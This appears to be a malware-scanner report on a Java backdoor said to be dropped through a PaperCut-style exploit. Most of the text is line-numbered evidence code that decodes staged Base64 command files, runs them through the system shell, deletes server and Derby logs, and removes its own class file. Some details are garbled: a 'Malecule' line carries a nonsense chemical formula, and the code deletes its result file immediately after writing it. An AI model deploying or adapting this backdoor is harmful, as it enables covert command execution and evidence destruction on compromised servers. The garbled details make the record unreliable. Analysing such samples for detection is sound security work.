papercut-udydn-bridge.java
Base64 tasking backdoor, log wiping, self-destruct
Command-tasking Java wipes application and database logsJava executes Base64 filesystem command tasks
SHA-256330fa7d9fda99c20ce22949c80a7883b3541d081db48058039553b6f06196b36
MaleculeO₄(C₂Er₂IXe)H₃(Db₂F₆Po₃)
Evidence
9:34… between an exploited Java application
10 * server and the operating system (PaperCut-style CVE-2026-82078 payload).
11 *
12 * Decodes staged Base64 command files from data/content/, executes them
13 * OS-agnostically via ProcessBuilder, ca …
26:61… ctoryStream(contentDir, "*")) {
27 for (Path task : tasks) {
28 String name = task.getFileName().toString();
29 if (!name.endsWith(".cmd")) {
30 continue;
31 }
32 …
32:44… tring(0, name.length() - 4);
33
34 // staged tasking arrives Base64-encoded
35 byte[] encoded = Files.readAllBytes(Paths.get(dir, base + ".cmd"));
36 String decoded = new String(Base64.getDecoder().decode(encoded)).trim();
37
38 // OS-agnostic execution: Windows cmd or POSIX sh
39 String os = System.getProperty("os.name", "").toLowerCase();
40 String[] command;
41 if (os.contains("win")) {
42 command = new String[]{"cmd.exe", "/c", decoded};
43 } else {
44 command = new String[]{"/bin/sh", "-c", decoded};
45 }
46
47 Process proc = new ProcessBuilder(command).start();
48 byte[] output = proc.getInputStream().readAllBytes();
49 proc.waitFor();
50
51 // hand results back through a sibling .out file
52 Files.write(Paths.get(dir, base + ".out"), output);
53
54 // destroy the tasking and result artifacts
55 Files.delete(Paths.get(dir, base + ".cmd"));
56 Files.deleteIfExists(Paths.get(dir, base + ".out"));
57 }
58 }
⋯4 lines
62:37… {
63 }
64 }
65
66 private static void wipeLogs() {
67 File logDir = new File("logs");
68 File[] logs = logDir.listFiles();
69 if (logs == null) {
70 return;
71 }
72 for (File f : logs) {
73 if (f.getName().equals("server.log") || f.getName().startsWith("server.log.")) {
74 f.delete();
75 }
76 }
77 new File("data/internal/derby.log").delete();
78 }
79
80 private static void selfDestruct() {
81 // remove the dropped class from the application server's lib directory
82 new File("lib/Udydn.class").delete();
83 }
84}